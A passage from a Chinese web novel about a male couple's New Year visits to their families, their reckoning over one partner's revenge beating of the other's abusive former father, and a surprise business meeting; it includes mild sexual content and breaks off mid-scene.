戚栩扯了扯他:“干嘛,不让我玩。” 谢淮沉静地看他:“还想感冒?还是继续想继续喝药膳。” 到最后戚栩没有怎么碰雪,戴着手套的手只捏着一小坨。 还是谢淮特意给他捏的,勉强看得出来是一个爱心,像极了父母包饺子时随便给孩子揪的一块面团。 沈芷薇已经受不住寒冷,哆嗦着回屋。 沈梓炀神秘兮兮地对谢淮说:“哥哥,我到外公家拿了红包,有钱把哥哥带回家了。” 谢淮推着雪球扫了他一眼:“多少钱?” 沈梓炀说:“很多钱。” “你以为有钱就能把他带回家吗?”谢淮摘下手套,徒手舀了一手雪,“他是无价之宝,多少钱也带不走。” 沈梓炀瘪了一下嘴,有点想哭:“可是我想他当我的亲哥哥住在我的家,睡前给我读故事书,和我一起睡觉。” 有点痴人说梦了,谢淮不会哄小孩,只是说:“不会有这个可能,他只能和我住在一起,你一个男子汉大丈夫,难道不能自己一个人睡?” 沈梓炀被刺激到,吸了下鼻子,坚定地点头:“我能自己睡。” 戚栩不知道一大一小谈论他的话题,只是看着那个身体和头一样大的雪人陷入了沉思,白色的糖葫芦。 谢少的动手能力仅限于在他身上,对其他事物动手能力为零。 沈梓炀是个还没形成欣赏能力的即将六岁小孩,只会闭眼夸。 直到谢淮拿着一截黄瓜当作雪人的鼻子,戚栩沉默了。 谢淮问他:“好看吗?” 戚栩不忍心打击男朋友的自信心,不过适当的时候还是得打击一下,避免自信心爆棚。 他说:“不好看,像只入侵地球的怪物。” “……” 谢淮抽掉雪人鼻子上的黄瓜,换上好不容易找来的胡萝卜,期待地看着他,试图挽回形象:“这样呢。” 戚栩斟酌着说:“算了淮哥,这个领域不适合我们,还是安心赚钱吧。” 谢淮握着黄瓜没有说话,好似被打击到一样。 戚栩凑了过去,在沈梓炀专心堆雪人时亲了亲他,放轻声音:“唔,仔细一看还是很可爱的。” 谢淮说:“听着很勉强。” 昧着良心说谎这件事还真是为难戚栩,所以他凝着谢淮说:“我喜欢。” 谢淮已经两天晚上没有和戚栩同床共枕,加上家里的猫霸占了他的位置,每天早上斗志昂扬地从戚栩房间出来,尾巴翘得高高的,看得他心烦。 只能每天中午趁戚栩午睡的时候潜入房间,把猫丢出去,自己抱着戚栩眯一会儿。 最后醒来时他用梦游的借口糊弄过去,戚栩没说什么,只是午睡之时把房间锁上了。 这两天的不满足再次爆发,谢淮拉着戚栩往车库走,有那么一丝急不可耐。 走到半路戚栩跳上了他的背,谢淮稳稳地背着他。 沈梓炀堆完雪人转身想找哥哥,只见地上的一截黄瓜,两位哥哥不知所踪。 第95章 第 95 章 年初一, 戚栩天还没亮就被李叔入室抢劫的方式叫醒,眼睛都还没有睁开,两人架着他从床上起来。 戚栩的尊老爱幼优良传统体现在此处, 来叫他的两人都是跟在老爷子身边的老人, 他满腹起床气,在一睁开眼看到李叔笑眯眯的笑容瞬间熄火。 当然,他也忌惮李叔的秘密武器,神不知鬼不觉出现在他面前的药膳,还是多放一条海参的那种。 “啊, 李叔,早上……”戚栩半梦半醒,后面想要说的话已然吞回肚子。 李叔的手劲儿不亚于青壮年, 毕竟老爷子院子里盆栽都是他搬的,每天举重运动半个小时。 他将戚栩提溜起来:“少爷,今日大年初一, 老宅要祭拜,你得赶紧起床, 不然就错过时辰。” 戚栩一闭眼一睁眼发现自己站了起来,宛如梦游。 “天还没亮呢。” 李叔催促着他洗漱:“冬天天亮得迟,都六点了, 老爷子在等着呢,别再惹他生气。” 昨晚守岁的时候戚栩不在现场, 老爷子骂骂咧咧地想去谢家找人, 两人的事都还没定下来就不着家, 谁知被谢家人提前一步找上门。 原来两个臭小子都不着家, 除夕夜不见了踪影。 戚栩行尸走肉般走进浴室,李叔在衣帽间给他准备衣服, 过了一会儿他听不见浴室的动静,走过去一看发现戚栩含着牙刷站着睡过去了。 “哎呦,怎么站着也能睡着。”李叔着急忙慌地叫醒。 经历多番艰苦,戚栩终于醒着走出了房间。 老宅传统,重要节日都要进行祭拜仪式,专门请回来的大师早早就在佛室准备。 老爷子神清气爽,看到哈欠连天的戚栩给了他一拐杖:“昨晚做贼去了?这么困。” 拐杖打在身上不痛不痒,戚栩还反手拿过老爷子的拐杖撑着,没个站样:“家里这么有钱做什么贼,随便卖支拐杖就五位数,够活了。” 老爷子直接上手拍他,被戚栩躲了过去,老爷子横了他一眼:“别胡说八道,家里还没穷到让你卖拐杖,昨晚和谢家那小子去哪里了?” 戚栩闭嘴不提,找了个借口:“不就是堆雪人,我们还能干什么?” “是啊,去堆雪人,谢老头都找到我这里来了,看看门口那一个什么东西,早上出门差点把我吓够呛。” 戚栩维护男朋友堆雪人的手艺:“您不懂得欣赏,这叫艺术,看看那脑袋和身体一样圆,谁有这么好手艺。” 改变戚栩口风的不是良知而是人性,昨晚在车上虽然没做什么,但他再也不想体验冰凉的指尖在他的腰股沟肆意游走,对他来说简直就是痒意的折磨。 大师打断了爷孙两一大早起来进行爱的号码牌的沟通,时辰已到,开始祭拜。 戚栩定睛一看,在大平层放着的香炉也拿了过来,大师正在为它开光。 这下真要成香炉精了。 戚栩跟在老爷子身后有样学样,上香烧纸,流程不算繁琐,但时间久,祭拜持续了将近一个时间。 祭拜结束时,老宅满天神佛,大师给老爷子算了个好卦,家宅平安,离开时得到一份丰厚的香火钱,足以将寺庙的佛像镀一层金。 戚栩由衷地说:“以后我混不下去的时候也做个大师。” 重生最大的作用不就是如此,给首富去算个命,预知未来,赚他个盆满钵满,成为首富团队里的大师。 不出意外,又被老爷子追着打,说他不思进取,走歪门邪道。 戚栩不知死活地说:“原来您也觉得是歪门邪道。” 李叔在一旁劝着:“今日不宜动气。” 见到老爷子差点把前院的土给撅起来,连忙说道:“也不宜动土啊。” 沈家老宅新年的第一天以爷孙和睦相处,幸福美满开启。 戚栩被追着跑了几步,带着老爷子给的压岁钱,回笼觉睡得更香了。 下午基本恢复好精神,戚栩在等谢淮回来。 谢家年初一也要祭拜,不过是一家大小去寺庙,年年不变,风雨不改。 谢淮刚走进沈家,就得到了沈老爷子的红包,他双手接过说了几句好意头的话哄得老爷子心花怒放。 而戚栩就站在门口看着谢淮领红包。 沈老爷子摆了摆手:“玩去吧。” 谢淮和戚栩并肩走出去。 “去了整整大半天,求什么去了。”戚栩问。 谢淮笑了笑:“求姻缘,耽误了点时间。” 戚栩转头看谢淮,听到他说:“求出来一支上上签,今年抱得心仪的人归,” 戚栩说:“那挺不准的,年前不是早让你抱了么。” 戚栩总是可以随时随地撩拨他的心弦,谢淮目光温柔却不乏占有欲牵住了他的手。 门还没走出,老爷子看到阿淮把还没有握热的红包递给他家的臭小子,那臭小子心安理得地收下。 是不是有点宠过头了,他们家怎么就出了个财迷。 谢淮先是将戚栩带回谢家,收到了谢老的大红包,之后又把人带出门。 戚栩坐上了谢淮的车才问:“去哪?” 谢淮说:“带你去收红包。” 戚栩对谢淮无比地信任,在车上拿着谢淮和自己的手机抢红包。 徐亦辰出手阔绰,在每个群里发红包,戚栩的手气也相当不错,数额不是最大就是第二大。 五人群从昨晚除夕开始一直消息不断,年夜饭的餐桌,烟花,搞怪的合照,各种各样。 戚栩着重地回复了几条消息,再抬头时,眼前的街景已经大变样,不再是车流街道,和上一次谢淮带着他去芳华园如出一辙。 他放下手机,心里有了一个猜想,谢淮余光扫过他的神色,说道:“舅舅叫我们今晚回秦家吃饭。” 舅舅的话,那就是秦家大儿子秦靖,戚栩怔愣了下,忽然不知道要说什么。 其实从谢老对他的态度恢复如前,他看得出来谢淮和他在一起的事谢老已经松口,不知是管不了还是没眼看,总归沈谢两位老人重归于好。 当然,前提是谢淮和两家的对赌协议依旧存在。 但秦家不一样,至今他都不知秦家对他和谢淮在一起的态度,从谢淮被罚跪,被关禁闭种种迹象看得出,秦家是要做棒打鸳鸯的那根棍。 如今秦靖却开口让他们回秦家,还是年初一这个特殊的日子。 这让人不得而知是鸿门宴还是欢迎宴。 戚栩不太赞成谢淮不通知他一声直接到秦家这一个做法:“我没有带任何礼物,贸然前去是不是太过打扰。” 谢淮却说:“礼物在后备厢我已经准备好,只是简单吃一顿饭,不是龙潭虎穴,不需要担心。” 戚栩笑道:“龙潭虎穴不也是你带我来,你走在我的前头,我当你的后盾,一起同行。” 这话不算歧义,秦家不是龙潭虎穴,但以后所遇到的事,不论坎坷还是舆论,两个人并肩作战比一个人独自前进要好。 戚栩体验过一个人独自前进,所受的艰苦和背负远比想象的还要多。 到达秦家大院门口,露天停车场停了十几辆车,秦家是个大家族,更别说还有秦老夫人娘家林家。 年初一也是拜访亲朋戚友的日子,戚栩本质不是一个能应付长辈的人,对家里的老爷子拿捏得当那是因为经历过上辈子。 谢淮见戚栩似乎有些紧张:“晚上的宴席可能避免不了喝酒,陪你坐小孩那桌。” 戚栩听笑了,心里的一丝紧张瞬间灰飞烟灭:“真行,还坐小孩桌,也不是不行,反正有你陪着一起丢脸。” 谢淮带着戚栩出现在秦家大院,秦家的亲戚第一时间注意到谢淮的到来。 谢淮虽是秦老爷子的外孙,但从小亲自教养,在秦老爷子心中不管外孙还是孙子都是秦家的后代。 不管长辈还是同辈,都对谢淮亲切地问候。 被谢淮带回秦家的戚栩也收到了问候,询问这位是谁。 戚栩大方地自报家门,众人听到戚栩的名字,眼神发生了变化,沈家动荡谁人不知。 有好奇地探究,有怜悯,都是一些善意的眼神,戚栩坦然地接受。 秦越从正厅出来就看到被一众亲戚热情围住的大外甥,过去解围:“老爷子等着呢,等会吃饭多的是时间聊。” 戚栩和谢淮被秦越带走,走入正厅的时候秦越递给戚栩一个红包,并向他挑眉等着那一声称呼。 自从那次车祸戚栩喊出那一声小舅,也没有那么难以启齿,况且还有红包收。 “小舅,新年好,早日找到心里所属。” 秦越:“……” “咋的,轮到你催婚了。” 刚刚在正厅他才听完七大姑八大姨的致命催婚。 戚栩笑了起来:“我哪有这个胆子。” 秦越啧了一声,把红包给他:“阿淮的那份也在里面,都交给你了,你们家是你管钱吧。” 戚栩照单全收:“我管钱。” 谢淮对此没意见。 秦缓思见到戚栩朝他招了招手让他来,起身摸了摸他的手,又帮他整理围巾:“在外面待久了吧,手这么冷。” 戚栩回:“秦阿姨新年好。” 谢廷曜也在其中,和他说几句后带着他去见秦老爷子。 走入正厅,秦老爷子身边围着好几个年岁已大的老人。 “秦爷爷,秦奶奶新年好,身体健康,万事顺遂。”戚栩虽说紧张,从行为举止中看不出,好歹也是经历过大场面的戚总。 秦老爷子不是第一次见到戚栩,当时这孩子被绑架救回来送去抢救惊动了众人,家里的老婆子心软,非说要去看看,也就在外面偷摸看了一眼。 这件事谁也没有告诉,只有他们两个老人知道。 当时在病床上的孩子如此脆弱,脸上没有血色,如今站在他面前的人风度翩翩,除去好相貌,和他外孙站在一起,不说天造地设,势均力敌总归是有的。 过于软弱也很难和谢淮相配。 秦家爷子对戚栩的态度不冷不淡,从怀里拿出一个红包递给他:“新年好,新的一年学业进步,事业有成。” 秦家本家人看到老爷子从怀里拿出那厚度不一般的红包对此心照不宣,也不知道揣多久了。 可能一整天都揣着,等着这会儿呢。 得亏不是改口红包,不然老爷子等到脖子长了都还没等到。 第96章 第 96 章 和秦老爷子在一起聊天的各位长辈虽不认识戚栩, 见到秦家本家对这位年轻人如此热情,也纷纷拿出红包给戚栩。 还没有走出正院,戚栩的口袋都装不下收到的红包。 随着戚栩的到来, 亲戚们知道谢家和沈家交好, 沈家又出了那么一摊子事,互相照应也情有可原。 由此前院也多了不少的讨论声。 “沈家人身在福中不知福,这孩子长得多乖,怎么就这么狠心,脸面有十月怀胎的亲生儿子重要吗?” “那个养儿也是个白眼狼, 竟然做出丧尽天良的事,不说是被宠坏了还是说沈家根本不懂得怎么教养。” “沈家那大儿子不养得挺好。” “十几岁之前都在沈老爷子身边养着呢,你也不看看沈老爷子何许人也。” 戚国辉的新闻又被炒冷饭地拿出来抨击, 众人骂他没人性,对这么小的小孩也能下得去手。 绑架之事他们有所耳闻,养子指使绑架亲生儿子, 现场凶险,发生了爆炸事件, 今天亲眼见到戚栩人畜无害的样子不免心里怜惜,同情心泛滥。 长辈们都想着等会晚餐的时候对戚栩多加照顾,按道理来者是客, 理应和他们旁支坐在一起。 到了晚餐的时候当他们看到戚栩被带着坐在了秦家的主席位,脸上藏也藏不住的惊讶。 不论和谢淮的友谊多么坚不可摧, 且秦家主桌席位也不是随便可以落座。 再仔细看, 秦家人对戚栩的态度仿佛是秦家后辈, 处处维护, 处处照顾。 秦越给戚栩倒酒,谢淮拦住了:“他不喝。” 秦越挥开他的手:“你不喝就去小孩桌, 这可是从我家拿过来的好酒。” 戚栩酒鬼上身,主动接过秦越手上的酒帮他倒:“陪小舅喝一杯。” 秦越听闻笑了起来:“好啊,我这酒一点也不醉人。” 餐桌上,戚栩成为那个主外的人,谢淮负责为他夹菜,不让他喝这么多。 戚栩的出现不仅让秦越开心,秦家小辈同样开心,自从国庆在芳华园一别,他们再也没有见过这个帅气哥哥。 用餐中途,戚栩在座位上收到了不少小辈们送的小玩意礼物。 场面有些混乱,等小孩子被各自家长叫回去之后,戚栩看到手上的珍珠项链哭笑不得。 最后谢淮让佣人全部收回去,物归原主。 个个都想把戚栩带回家,谢淮心里的那点小心思又慢慢冒起来。 得到一次缓解,可就是不满足,在私人别墅的心思如同春风吹又生。 秦家家宴没有什么劝酒行为,戚栩是个没节制的人,在谢淮离席没多久一个不小心喝多了。 为了不让谢淮回来的时候看出来,戚栩起身到外面吹散酒气。 秦家前院有人在外面抽烟,这一世戚栩彻底戒烟,前期被谢淮管得严,闻到烟味都掉头走,刻在他骨子里了。 所以当那几个人递烟给戚栩的时候他拒绝了,并无声无息地离开前院。 在佣人的带领下戚栩走到了休息室的门口,转头告谢。 正厅需要人手,佣人很快就离开去忙了。 戚栩刚踏入休息室,就听到熟悉的声音。 刚刚在席间和他温和说话的秦靖如今在休息室语气严肃地和谢淮谈话。 “阿淮,我知道你是个有分寸的人,在同辈中行为处事是最稳妥的,老爷子才把人留给你,但不是让你为所欲为,我希望游离在法律边缘这个行为是最后一次。” 谢淮不认为自己做错了什么,坦然道:“我是个好公民,不会无缘无故动手,也没有滋事生事,人不是还活着吗。” 语气平淡,丝毫没有悔改之心。 秦靖听得一窝火,从来没觉得引以为傲的外甥欠打:“人是还活着,戚国辉被送到警察手里只剩下半条命,身上血肉模糊,你说不会无缘无故动手,那你动他是因为什么?他犯罪自有法律定罪,你千不该万不该上手。” 戚栩不想偷听,刚想转身离开时听到戚国辉的名字鬼使神差地停在了原地。 他曾经问过谢淮有没有对戚国辉做什么,对方闭口不谈,他撬不开谢淮的人,个个忠心耿耿。 谢淮轻飘飘,平淡地声音传到戚栩耳里。 “我只不过以其人之道还治其人之身,他身上的伤是他18年前应有的报应,舅舅,你该庆幸言传身教,让我熟读法律法规,没有做更过分的事,把他交给法律。” 秦靖:“……” 他是该庆幸这个时候意识到他的外甥是个潜在的不法分子,没有造就无法挽回的局面之前还能拯救。 不过他也不是一昧责怪的长辈,试图分析外甥的话:“18年?戚国辉对戚栩做了什么。” 谢淮沉默了两秒,平复心里的痛楚才说:“他身上的伤是戚栩18年来所受的伤,我只不过一次性全部还给他。” 秦靖听到这句话不免错愕,他曾经也去看过戚国辉,确认他的生命无碍,也看过他身上的伤。 手臂被烟嘴烫得血肉模糊,后背的棍伤,还有数不清的拳打脚踢,甚至是被关在一个幽闭空间不给吃喝,不知被恐吓还是自己吓自己,导致他的精神出现问题。 这些伤出现在戚栩身上,被戚国辉所虐待,持续了十几年的时间。 秦靖心情复杂,他不是一个感情用事的人,但任何人听到这件事都不能无动于衷。 “是你亲自动手,还是手下的人动手?” 谢淮说:“这件事我不会借他人之手。” 秦靖:“……” 他好声没好气地说:“能耐了,把柄往亲自往别人手上递。” 其实也不算是把柄,戚国辉判刑是板上钉钉的事,精神有问题也难逃其责。 不过脑子出现问题的却是另有其人。 “沈泽予申请做精神病鉴定,司法部门已经通过他的诉求。” 谢淮不在意地说:“不会让他有病,他也没有病。” 秦靖叹气刚想说什么,听到门外有声音。 “戚少爷,你的热茶。” 戚栩知道自己无处遁形,从门口走进来出现在两人面前:“抱歉,无意听到你们说话。” 秦靖让人进来倒茶,然后叫他关上门离开。 他以为戚栩知道谢淮的所作所为,说着:“小栩啊,你的性格比他稳重些,以后劝着他点,别冲动行事。” 戚栩的外貌是有欺骗性的,如果不是对他有所了解的人知道他是个更容易动手的人,单看外面确实稳重。 “舅舅,你放心,我会多劝他的。” 秦靖心有感慨,还想着坐下来慢慢和这两个小辈说会儿话,谁知听到他外甥说:“舅舅,舅妈叫你。” 秦靖哼笑:“你长了顺风耳?我怎么没听到。” 谢淮脸不红心不跳地说:“八点了,爷爷早睡,你是一家长子要到正厅主事。” 秦靖看了一眼时间确实是该回正厅,他和谢淮对视,下一秒就听到他大外甥说。 “舅舅,我要跪搓衣板,你看着不合适。” 秦靖眼神中掩饰不住的震惊,怎么就到了跪搓衣板的环节。 他年过四十,难得被引起了凑热闹之心,询问:“我能观摩吗?” 谢淮无言地看着他。 最后秦靖还是没有留下观摩,留点面子给大外甥。 等到秦靖离开,谢淮拽着戚栩的手顺势坐在了椅子上,而戚栩坐在他的大腿上。 戚栩还没说话,谢淮凑了过来闻到他身上的酒味,开始问罪:“喝醉了?我离开之后喝了多少。” 戚栩听笑了,他喝了多少的事相比于这人隐瞒所作为根本不值得一提。 “你这是跪搓衣板的态度?” 谢淮垂眸变得表面温顺:“在床上跪吧。” 戚栩叫了他的名字:“谢淮,你别什么都给我聊成床事,我现在和你说你瞒着我所做的事,我身体上的疤痕你记得很清楚嘛。” 在还没有真正发生关系之前,谢淮总喜欢摸他,总喜欢吻他身上的伤疤,人还没有吃到,身体的每一处熟烂于心。 戚栩原本以为谢淮只是心疼,如他心疼谢淮用四年时间完成这一场对赌一般。 但他身上的伤已经是过去时,在上一世亲手把戚国辉送进监狱已经彻底放下。 如今他身上的一条伤疤,一条刮痕甚至他被踢到内伤,都被谢淮一笔一笔地复刻在戚国辉身上。 在他听到谢淮的作为,清晰地意识到是谢淮没有放下。 谢淮像是卸下力气一般,整个人埋在戚栩的颈肩里,缓缓地开口:“我到死都不会忘记你所受的伤。” 记得他第一次见到戚栩手背内侧的烟疤,在泳池里看到裸露的背上无法消去惊心的疤痕,那一次次心痛,都无法换回没有受过伤的戚栩。 当戚国辉坦白完换子真相,轮到他寻找当年的真相。 谢淮逼着他回忆戚栩身上每一条伤疤如何来的,很多很多戚国辉都没有记忆,谢淮就帮他恢复记忆。 戚国辉满嘴是血倒在地上求饶,发出含糊的叫声。 谢淮却觉得远不够,一念之差,戚国辉差点活不到交给警察的那天。 是戚栩给他发的信息让他早点回来,想他了。 戚栩抓着谢淮的头发将人扯开:“淮哥,没有下一次了,对我而言你才是最重要的,我不想管别人,纵使18年前我过得不如意,但人生还有很多个18年,每一个18年有你在,第一个18年已经变得不重要。” “不会有下次,也不会有人再伤害你。”谢淮蹭了蹭戚栩的鼻尖求和,“搓衣板还要跪吗?” 戚栩说:“要跪的,在床上跪。” 不跪长不了记性,当然跪了也不一定长记性。 谢淮轻笑:“留下住一晚吗?家里好像没有搓衣板。” 戚栩反问:“这里就有?” 谢淮小声地说:“外公以前的老物件,过去这么久也不知道能不能承受得住我的重量。” 戚栩白了他一眼:“别折腾老物件了,跪键盘吧。” 谢淮和戚栩从休息室出来,家宴已经散去,只留下三三两两的人在聊天。 秦越酒性大发,看到谢淮脱口而出:“大外甥,需要我亲情提供搓衣板吗?” 声音之大让即将离席的秦家两老都停下,所有人纷纷看向当事人。 这下整个秦家都知道谢淮今晚要跪搓衣板。 第97章 第 97 章 新年假期过得格外地快, 明明昨日还在吃年夜饭,晃眼就到了收拾收拾开学的日子。 过年期间谢淮带着戚栩到处拜年,徐家, 方家, 蒋家转了个遍,戚栩不愿意动弹,可愿意边收红包边动弹。 元宵过后拆红包,戚栩看着一张张钞票还是会心动,白月光的魅力势不可挡。 开学之前沈谢两家吃了顿名义上的开学饭, 这是戚栩和谢淮在一起之后两家再聚。 两家老爷子前段时间一起度假和一起喝茶,情谊恢复如初,甚至在饭桌上互相说对方年轻时的糗事。 饭桌上其乐融融, 两位老人饶有兴致地喝了点酒,戚栩没碰酒,准确来说再也不想当着谢淮面前喝酒了。 那天在秦家大院住了一晚, 谢淮也确确实实在床上跪下认错,跪在戚栩面前, 面无表情垂眸看着无比诚挚,然而手上的动作不断,直到戚栩脑子一片空白泄在了他的手里。 过后戚栩被压在黄花梨木茶几上喘不上气的时候, 谢淮细数了他当晚喝了多少酒。 相比于刚刚的认错态度,这个才是真正的谢淮, 声音很沉, 带着某种骇人的温柔, 戚栩耳膜震颤。 谢淮俯身冰冷的唇吻在了他后腰的伤疤上, 戚栩没忍住抖了抖,他知道放下的人不只是他。 聚餐结束, 两位老人面色红润地拄着拐杖,也不需要人扶着。 一家人有说有笑走出包厢时,另一边的包厢也打开了门。 对面的人先注意到走过来的沈谢两家,吵闹的包厢瞬间安静了下来。 包厢里是曾家家宴,沈卓海,曾云和沈枫凯都在现场。 戚栩原本还在回复宿舍群的消息,被李彦发来的不想开学咆哮语音给逗笑,刚想分享给谢淮,谁知抬眸看到站在包厢门口的几个人。 沈曾两家是亲家,沈老爷子同曾家老太太打了招呼,寒暄了几句,期间并没有主动说起戚栩一句。 沈家夫妇脸色和精神不是很好,两人看着苍老了一圈,穿着也朴素了不少,和几个月前高调出席慈善晚宴的沈先生和沈夫人判若两人。 沈老爷子亲手把沈家丑闻真相曝光,已经将沈家脸面抛之不顾,沈卓海敢怒不敢言。 养了18年的养子指使别人绑架自己的亲生儿子,得到真相那一刻,他们震惊不已,只希望戚栩不要受伤,事与愿违,戚栩受伤入院。 至此,夫妇两再也没有见过戚栩。 曾云见到戚栩那一瞬红了眼眶,想上前又不敢上前,这一切都是他们的错,一步错步步错。 只能站在原地扬了一个比哭还难看的笑容,哽咽地喊:“小栩。” 沈卓海和沈老爷子是父子关系,没有隔夜仇,毕竟年夜饭也吃了,只不过是戚栩不会和他们同时出现。 他和戚栩也是父子,哪有做儿子和自己的父亲是仇人。 戚栩冷漠地看着他们,宛若看着陌生人,没有任何上前打招呼的动作,没有转头就走算是仁至义尽。 反倒谢廷曜和秦缓思上前同沈卓海夫妇简单聊了两句话。 直到离开,戚栩也没有和沈家夫妇说一句话。 曾云看着戚栩扶着秦缓思这一幕,眼里不禁有一丝羡慕,说起来可笑,挽着别人母亲的年轻人是她的儿子。 这是他们应有报应,是他们把戚栩越推越远,家庭幸福美满已经成为一种无法达成的遗憾。 开学日,戚栩和谢淮都在忙,忙学校的事,忙工作上的事,谢淮一大早从大平层赶回学校上早八这种日子已经持续了一个星期。 戚栩好歹只是两头忙,谢淮还有学生会的事,整天下来忙得像个陀螺一样。 戚栩的药膳补品分给了谢淮一半,他恨不得全部让谢淮喝完,但再次经历过一个星期一次的床事中**晕过去之后,戚栩默默喝完那一半。 天生体虚和天生精力旺盛简直没得比,人怎么能越干越起劲儿,根本不觉得累似的。 周末,戚栩以为可以好好地休息,谢淮依旧早出晚归,他也被李恺兴叫过去谈云瑞这个季度最重要的项目。 已经在港岛成功上市的洛滋在首都开设分公司,大集团财大气粗直接租下整栋商业写字楼,更有传闻属于洛滋的商业园区正在动工中。 云瑞下个季度的重要项目是和洛滋的合作,就差谈判桌上的一纸合约。 周末是休息时间,也是戚栩作为大学生没课的日子,不知道李恺兴是如何让洛滋的负责人在周末加班商谈。 李恺兴对此回答:“我可没这么大的能耐,是洛滋那边确定的时间,这不是巧了么,周末你刚好放假能和我们一起上谈判桌,没你可不行啊。” 戚栩依着靠背,手里捧着平板看资料:“一直都是你在对接,今天你上,我做你副手。” 洛滋是通过李恺兴和钟艾明应酬的人脉搭桥,双方都有很强烈的合作意愿,谈判桌也只是走一个流程。 将近一年的时间,李恺兴成长了不少,一人能主持大局,当然离不开戚栩这个老板的悉心培养。 李恺兴被激起自信心,昂起胸膛保证:“老板,放心交给我。” 达到洛滋办公楼下,三月初春,还是有冷空气来袭。 戚栩下车后穿上大衣,今日出门是临时计划,他的西装没熨好,赶着出来所以穿了谢淮的西装。 两人的身高差不多,虽然谢淮的体型比他壮些,他可以用骨架撑起来,穿在身上也不觉得奇怪。 洛滋总裁苏健鹏的助理早早在楼下等候,见到李恺兴一行人迎了上去,领着他们直上顶层。 电梯门一开,众人也看到洛滋分公司不是口上的分公司这么简单,规模比一些企业还要大,把总部迁移到首都一般。 助理将他们带到会议室,并告知苏总在接待高层,稍等片刻。 李恺兴坐在中间,团队中的首位,戚栩坐在他隔壁,有一下没一下地玩着他的手串,继续看文件,他很看重这一次和洛滋的合作。 “老板,你说我们和洛滋签约成功之后有没有机会见其中的幕后投资人。” 洛滋背后的投资人是传奇,眼光毒辣在人工智能还没发展起来的时候大手一挥上亿资金,十年之后,洛滋已然成为人工智能行业的带领者。 那个时候各界也都挖不出洛滋背后的投资人,有人说他定居在国外,身价上百亿,也有人说他已经逝去。 苏健鹏已经步入中年,十年前能有这个财力投资洛滋,应该是位有一定年纪身居高位的生意人。 戚栩说:“我们和洛滋只是合作关系,苏总亲自接待,你还想让他们出动背后的投资人,我们云瑞目前只是一家中小企业。” 戚栩实话实说,正视云瑞初发展的规模,一口吃不成一个胖子,稳步发展偶尔搭上大船共同发展实现双赢局面,这条路才会越走越远。 李恺兴点头认同他的话:“也是,苏总都亲自来谈这个项目,看来投资人是见不到了。” 说着关上门的会议室推开,总助领着苏健鹏进来,李恺兴见状连忙扣上外套纽扣起身。 戚栩在桌下戴上手串跟着起身,只是苏健鹏身后那个熟悉的人完全吸引着他的注意力。 显然,李恺兴也注意到了,目瞪口呆地看着谢淮,之后又转头看了一眼戚栩,表示,老板你对象怎么在这里。 戚栩回以一个哼笑,他也不知道,如果知道的话,现在他就不在这里了。 苏健鹏进来握上李恺兴的手:“李总监,幸会。” 李总和苏总对标握上手,旁边的谢淮朝戚栩伸手,非常地有礼貌自我介绍:“洛滋的董事,谢淮。” 李恺兴和苏健鹏一个比一个震惊,前者猛然看向戚栩,老板,你对象在外面有别的公司。 后者看向谢淮,就这样坦白自己的身份了? 戚栩没看见两人的眼神,垂眸盯着面前的手好一会儿,谢淮也特别轴,不握手就不放下。 戚栩刚抬手,谢淮往前抓住了他的手,前所未有地强迫式握手。 戚栩不爽地扯了扯嘴角,收回自己的手:“谢董还真是自来熟。” 谢淮笑笑:“一见如故。” 废话,昨晚才坦诚相见,今早在被窝里你中有我,我中有你。 戚栩没回他的话,坐下谈正事。 两方团队的负责人是李恺兴和苏健鹏,多数都是两人在交流,还有团队的人提出见解,到了谈论收益比例的时候,双方开始舌战群儒。 而真正的老板坐在一旁,翘着腿听着,双方并没有参与其中。 戚栩一开始就没想参与,现在看到谢淮在此,更不想说话了。 谢淮西装革履坐在谈判桌对面,一声不吭像个闷葫芦,静静地看着他,让他一秒回到前世,不同的是,如今他也不说话,两人就这样大眼瞪小眼。 两方的老板都没有开口,也幸好两人只是观摩,双方合作意愿强烈,争论只是走个形式,最后签名盖章,苏总和李总笑得见牙不见眼。 李恺兴刚刚入戏太深,只顾对战没注意到老板和谢少的不对,这两人怎么在cos陌生人。 哦,可能是情趣。 直到签署合同顺利结束,谢淮收拾东西离开会议室,李恺兴一行人跟在他身后。 “老板,怎么回事?和谢少吵架了?” 好像也没吵,两人甚至只说过一句话,也没吵起来。 戚栩说:“没吵,得回家好好地算个账。” 他和谢淮在各自事业上一向不插手,谢淮知道云瑞是他的公司也是从钟艾明身上得知。 他们两个虽不瞒着,当着面处理工作,但双方给予对方隐私感很强,不会主动去问。 戚栩和谢淮在这个方面一拍即合,戚栩也并不想掺和谢淮的事业,这点他也明确告知。 谢淮是洛滋的幕后投资者其实一切都有迹可循,比如开视频会议的时候苏健鹏的头像就在电脑屏幕上。 而他躺在沙发上玩贪吃蛇看都没看一眼。 又比如桌面上文件封页就有洛滋的标志,如果他收拾一次桌面就能看到,但他懒,只顾着找不小心掉落在桌底下的红包。 “所以你也不知道谢少就是洛滋的投资人。”李恺兴直觉不对,“他瞒着你?” 戚栩扬眉:“他倒也没瞒着,恨不得我知道,但我今日才知道。” 他的情绪倒也没有多少起伏,只是再一次惊讶谢淮的眼光。 洛滋创立五年时间,传出内部大洗牌是两年前,苏健鹏坐上总裁之位,也就是那个时候传出投资人出资。 两年前,当时谢淮才16岁,投资一家人工智能公司。 这人天生就是当商人的料子。 李恺兴不解,隐约从戚栩的眼里看出新奇,综合话语和行为相矛盾,顿时明白清官难断家务事的道理。 不一会儿,谢淮从会议室出来,大步流星地追上来:“戚总,请留步,请问有幸邀请你共进午餐吗?” 戚栩回头晃了一下神,记忆重叠,只不过前世的声音是谢淮当时的助理。 如今出现在他的面前,说出这话的却是谢淮本人。 第98章 第 98 章 戚栩还没有回答, 可他的神色在谢淮眼里是熟悉的透过他去看别人的模样,相识后数不清发生过多少次。 在网吧初见,他被戚栩的外貌所吸引, 却忽视了对方眼里看他的熟悉, 再到方倩成人礼,戚栩站在角落看向他们那一眼,饱含了众多情绪。 梦回午夜,戚栩的各种眼神在梦中交叠,每一幕都不一样, 成人礼的不欢而散,开学典礼不同班级,宿舍楼如陌生人擦肩而过。 如今这个眼神明明是在想别人, 可谢淮的心莫名地一痛,戚栩在怀念什么。 梦里的戚栩是否真实,那为什么会不理他, 无论他怎么靠近都会离他越来越远。 谢淮不等戚栩说话,上前拽着他的手大步走进办公室。 不管身后的人神色各异的神情, 关上门将其他人拒之门外。 苏健鹏刚想喊住谢淮让他和平一点对待咱们的合作伙伴,被李恺兴给制止了,笑得眯眯眼:“真是大水冲了龙王庙, 一家人不识得一家人。” 苏健鹏不明所以,任由李恺兴带进了会议室, 继续有效商谈。 戚栩更是没反应过来, 脚步混乱地跟着进办公室, 然后就被抵在了门上。 谢淮压下来的时候, 